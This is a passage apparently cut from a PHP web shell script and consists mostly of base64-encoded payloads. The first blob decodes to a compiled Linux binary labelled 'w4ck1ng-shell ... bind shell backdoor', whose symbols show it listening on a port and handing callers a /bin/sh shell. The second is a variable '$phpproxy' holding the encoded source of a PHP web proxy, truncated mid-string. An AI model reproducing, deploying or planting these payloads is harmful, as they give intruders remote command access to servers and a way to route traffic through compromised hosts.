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xmAABzdGFydC5TAAEAAAAABQKghQQIA8AAATMhND0lIgMYIFlaISJcWwIBAAEBIwAAAAIAHQAAAAEB+w4NAAEBAQEAAAABAAABAGluaXQuYwAAAAAAqQAAAAIAUAAAAAEB+w4NAAEBAQEAAAABAAABL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UAAGNydGkuUwABAAAAAAUC6IUECAPAAAE9AgEAAQEABQIkiQQIAy4BIS8hWWcCAwABAQAFAoiEBAgDHwEhLz0CBQABAQAFAsSFBAgDCgEhLyFZZz1nLy8wPSEhAgEAAQGIAAAAAgBQAAAAAQH7Dg0AAQEBAQAAAAEAAAEvYnVpbGQvYnVpbGRkL2dsaWJjLTIuMy42L2J1aWxkLXRyZWUvaTM4Ni1saWJjL2NzdQAAY3J0bi5TAAEAAAAABQLohQQIAyEBPQIBAAEBAAUCO4kECAMSAT0hIQIBAAEBAAUCnYQECAMJASECAQABAWluaXQuYwBzaG9ydCBpbnQAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2dsaWJjLTIuMy42L2NzdQBsb25nIGxvbmcgaW50AHVuc2lnbmVkIGNoYXIAR05VIEMgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAbG9uZyBsb25nIHVuc2lnbmVkIGludABzaG9ydCB1bnNpZ25lZCBpbnQAX0lPX3N0ZGluX3VzZWQAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5keW4ALnJlbC5wbHQALmluaXQALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWUALmN0b3JzAC5kdG9ycwAuamNyAC5keW5hbWljAC5nb3QALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAuZGVidWdfYXJhbmdlcwAuZGVidWdfcHVibmFtZXMALmRlYnVnX2luZm8ALmRlYnVnX2FiYnJldgAuZGVidWdfbGluZQAuZGVidWdfc3RyAAAAAAAAAAAAAAAAAAAAAA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AAEgAAAB0DAADgmgQIAAAAABAA8f8kAwAA6IUECAAAAAASAgwAOwMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQAOAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAACAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; + + +$phpproxy ="PD9waHANCg0KIw0KIyBTdXJyb2dhZmllciB2MS4wLXJjMw0KIw0KIyBBdXRob3I6IEJyYWQgQ2FibGUNCiMgRW1haWw6IGJyYWRAYmNhYmxlLm5ldA0KIyBMaWNlbnNlOiBNb2RpZmllZCBCU0QNCiMgTGljZW5zZSBEZXRhaWxzOg0KIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocA0KIw0KDQoNCiMgQ09ORklHIHt7ew0KDQojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2FkZWQuIFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9TSU1QTEUnLGZhbHNlKTsNCiMgRm9yY2UgdGhlIHBhZ2UgdG8gYWx3YXlzIGJlIGluIHNpbXBsZSBtb2RlIChubyBhZHZhbmNlZCBtb2RlIG9wdGlvbikuIFtmYWxzZV0NCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7DQojIFdpZHRoIGZvciB0aGUgVVJMIGJveCB3aGVuIGluIHNpbXBsZSBtb2RlIChDU1MgIndpZHRoIiBhdHRyaWJ1dGUpLiBbMzAwcHhdDQpkZWZpbmUoJ1NJTVBMRV9NT0RFX1VSTFdJRFRIJywnMzAwcHgnKTsNCg0KIyBEZWZhdWx0IHZhbHVlIGZvciB0dW5uZWwgc2VydmVyLiBbXQ0KZGVmaW5lKCdERUZBVUxUX1RVTk5FTF9QSVAnLCcnKTsNCiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdDQpkZWZpbmUoJ0RFRkFVTFRfVFVOTkVMX1BQT1JUJywnJyk7DQojIFNob3VsZCB0aGUgdHVubmVsIGZpZWxkcyBiZSBkaXNwbGF5ZWQ/ICJmYWxzZSIgdmFsdWUgaGVyZSB3aWxsIGZvcmNlIHRoZSBkZWZhdWx0cyBhYm92ZSBbdHJ1ZV0NCmRlZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOw0KDQojIERlZmF1bHQgdmFsdWUgZm9yICJQZXJzaXN0ZW50IFVSTCIgY2hlY2tib3ggW3RydWVdDQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0nLHRydWUpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfQ09PS0lFUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfUkVGRVJFUicsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFNjcmlwdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIE9iamVjdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfT0JKRUNUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdDQpkZWZpbmUoJ0RFRkFVTFRfRU5DUllQVF9VUkxTJyxmYWxzZSk7DQojIERlZmF1bHQgdmFsdWUgZm9yICJFbmNyeXB0IENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxzZSk7DQoNCi8qLyBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIFwqXA0KDQpGb3JtYXRzIGZvciBhZGRyZXNzIGJsb2NraW5nIGFyZSBhcyBmb2xsb3dzOg0KDQogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVzcw0KICAxLjAuMC4wLzE2ICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLjAvMTYgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICBwaHAubmV0ICAgICAtIGRvbWFpbiBibG9ja2luZw0KDQpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNicsJzEyNy84JywnMTY5LjI1NC8xNicNCg0KXCpcIEVuZCBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIC8qLw0KDQokYmxvY2tlZF9hZGRyZXNzZXM9YXJyYXkoJzEwLzgnLCcxNzIvOCcsJzE5Mi4xNjgvMTYnLCcxMjcvOCcsJzE2OS4yNTQvMTYnKTsNCg0KIyB9fX0NCg0KIyBBRFZBTkNFRCBDT05GSUcge3t7DQoNCiMgVGhlIGZvbGxvd2luZyBvcHRpb25zIGFsdGVyIHRoZSB3YXkgZG9jdW1lbnRzIGFyZSBwYXJzZWQgb24gdGhlIHBhZ2UuICBPTkxZIEVESVQgVEhJUyBTVFVGRiBJRiBZT1UgUkVBTExZIEtOT1cgV0hBVCBZT1UgQVJFIERPSU5HIQ0KDQojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNvdWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdA0KIyBJIHJhbiBpbnRvIGEgMTIwMCsgY2hhcmFjdGVyIGxvbmcgVVJMIG9uY2UgYW5kIGl0IG5lYXJseSBtZWx0ZWQgdGhlIHByb2Nlc3NvciBvbiBteSBsYXB0b3AgdHJ5aW5nIHRvIHBhcnNlIGl0DQojIEhvbmVzdGx5LCB3aG8gbmVlZHMgdGhpcyBsb25nIG9mIGEgVVJMIGFueXdheT8NCmRlZmluZSgnTUFYSU1VTV9VUkxfTEVOR1RIJyw1MDApOw0KDQojIFRpbWUgbGltaXQgaW4gc2Vjb25kcyBmb3IgYSBzaW5nbGUgcmVxdWVzdCBhbmQgcGFyc2UuIFsxMF0NCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOw0KIyBUaW1lIGxpbWl0IGluIG1pbnV0ZXMgZm9yIGEgRE5TIGVudHJ5IHRvIGJlIGtlcHQgaW4gdGhlIGNhY2hlLiBbMTBdDQpkZWZpbmUoJ0ROU19DQUNIRV9FWFBJUkUnLDEwKTsNCg0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgdXNlciAobGVzcyBiYW5kd2lkdGgsIG1vcmUgQ1BVKSBbZmFsc2VdDQpkZWZpbmUoJ0daSVBfUFJPWFlfVVNFUicsZmFsc2UpOw0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0NCmRlZmluZSgnR1pJUF9QUk9YWV9TRVJWRVInLGZhbHNlKTsNCg0KIyBQcm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRvIGRlZmluZSBpdCBtYW51YWxseS4NCiMgSWYgeW91IGxlYXZlIHRoaXMgbGluZSBjb21tZW50ZWQsIHRoZSBjb2RlIGRldGVjdHMgaWYgeW91IGFyZSBydW5uaW5nIG9uIGFuDQojIEhUVFBTIGNvbm5lY3Rpb24uICBJZiB5b3UgYXJlLCB0aGVuICdodHRwcycgaXMgdXNlZCBhcyB0aGUgUFJPVE8gdmFsdWUsDQojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZhbHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0Lg0KI2RlZmluZSgnUFJPVE8nLCdodHRwJyk7DQoNCiMgfX19DQoNCg0KLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcDQoNCg0KIw0KIyAodW5sZXNzIHlvdSBhYnNvbHV0ZWx5IGtub3cgd2hhdCB5b3UgYXJlIGRvaW5nLi4uKQ0KIw0KDQojIENPT0tJRSAmIFNFU1NJT04gU0VUVVAge3t7DQoNCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMgQkVOQ0hNQVJLDQovLyRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgpOyAjIERFQlVHDQoNCiMgc2V0IGVycm9yIGxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMNCmVycm9yX3JlcG9ydGluZyhFX0FMTF5FX05PVElDRSk7DQoNCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pdCwgaWYgbm90IGluIHNhZmUgbW9kZQ0KaWYoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsNCg0KIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUNCmlmKEdaSVBfUFJPWFlfVVNFUiAmJiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJykpIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsgIyB1c2UgZ3ppcCBlbmNvZGluZyB0byBjb21wcmVzcyBhbGwgZGF0YSwgaWYgcG9zc2libGUNCg0KIyByZXZlcnNlIG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfcmVjdXJzZSgkdmFyKXsNCgkJaWYoaXNfYXJyYXkoJHZhcikpICR2YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7DQoJCWVsc2UgJHZhcj1zdHJpcHNsYXNoZXMoJHZhcik7DQoJCXJldHVybiAkdmFyOw0KCX0NCgkkX0dFVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX0dFVCk7DQoJJF9QT1NUPXN0cmlwc2xhc2hlc19yZWN1cnNlKCRfUE9TVCk7DQoJJF9DT09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOw0KfQ0KDQojIHNjcmlwdCBlbnZpcm9ubWVudCBjb25zdGFudHMNCmlmKCFkZWZpbmVkKCdQUk9UTycpKSBkZWZpbmUoJ1BST1RPJywoJF9TRVJWRVJbJ0hUVFBTJ109PSdvbic/J2h0dHBzJzonaHR0cCcpKTsNCmRlZmluZSgnVkVSU0lPTicsJzEuMC1yYzMnKTsNCmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBfSE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsNCmRlZmluZSgnU0lNUExFX01PREUnLERFRkFVTFRfU0lNUExFIHx8IEZPUkNFX1NJTVBMRSk7DQoNCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4ZXMgIw0KZnVuY3Rpb24gZ2VuX3JhbmRzdHIoJGxlbil7DQoJJGNoYXJzPW51bGw7DQoJZm9yKCRpPTA7JGk8JGxlbjskaSsrKXsNCgkJJGNoYXI9cmFuZCgwLDI1KTsNCgkJJGNoYXI9Y2hyKCRjaGFyKzk3KTsNCgkJJGNoYXJzLj0kY2hhcjsNCgl9DQoJcmV0dXJuICRjaGFyczsNCn0NCg0KZnVuY3Rpb24gZG9zZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmU9bnVsbCl7DQoJJF9DT09LSUVbJGNvb2tuYW1lXT0kY29va3ZhbDsNCglpZigkZXhwaXJlPT09bnVsbCkgc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCk7DQoJZWxzZSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmUpOw0KfQ0KDQpkZWZpbmUoJ0ZJUlNUX0xPQUQnLGVtcHR5KCRfQ09PS0lFWydQSFBTRVNTSUQnXSkpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KaWYoZW1wdHkoJF9TRVNTSU9OWydzZXNzcHJlZiddKSl7DQoJJHNlc3NwcmVmPWdlbl9yYW5kc3RyKDMwKTsNCgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOw0KfQ0KZWxzZSAkc2Vzc3ByZWY9JF9TRVNTSU9OWydzZXNzcHJlZiddOw0KDQppZihlbXB0eSgkX0NPT0tJRVsndXNlciddKSl7DQoJJGNvb2twcmVmPWdlbl9yYW5kc3RyKDEyKTsNCglkb3NldGNvb2tpZSgndXNlcicsJGNvb2twcmVmKTsNCn0NCmVsc2UgJGNvb2twcmVmPSRfQ09PS0lFWyd1c2VyJ107DQoNCmRlZmluZSgnU0VTU19QUkVGJywkc2Vzc3ByZWYpOw0KZGVmaW5lKCdDT09LX1BSRUYnLCRjb29rcHJlZik7DQpkZWZpbmUoJ0NPT0tJRV9TRVBBUkFUT1